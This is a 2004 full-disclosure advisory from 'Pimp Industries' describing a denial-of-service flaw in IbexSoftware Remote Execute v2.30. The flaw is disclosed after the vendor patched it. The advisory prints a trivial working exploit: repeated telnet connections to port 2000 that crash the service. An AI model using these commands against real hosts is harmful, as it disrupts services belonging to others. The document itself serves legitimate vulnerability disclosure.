Pimp industries.
			"Its all about the Bling, B&^@# and Fame!"

	Dos in Client of Remote Execute v2.30 by IbexSoftware
      		 	(C) Paul Craig
      		 		Pimp Industries 2004

Background
-------------
Remote Execute 2.30 is vulnerable to an open connection attack, where
after seven connections are created to the client service it will crash
and refuse any further connections.

Exploit:
-------------
Really no need for PoC code here, the exploit is very simple.

telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
...
Remote execute client is down and port 2000 is now closed....


Company Status:
-------------
IbexSoftware were contacted last week, the problem was reproduced and
today a fix was released by the company.
Pimp industries would like to thank Ibexsoftware for their quick turn
around on this patch release and for their support on full disclosure
matters.

Suggestions/Work Around:
-------------
Install v2.3.01 of Remote Execute, you can download this version from
http://www.ibexsoftware.com/downloadRemoteExecute.asp

Company status
---------------
Pimp Industries is a privately owned security research company. If you
would like to contact Pimp Industries to discuss any nature of business,
please email us at headpimp@pimp-industries.com.


Big Hellos to
-------------
The boys at security-assessment.com, Thor, Viper and sozni.


Paul Craig
Head Pimp , Security Researcher
Pimp Industries
"Move fast, think faster"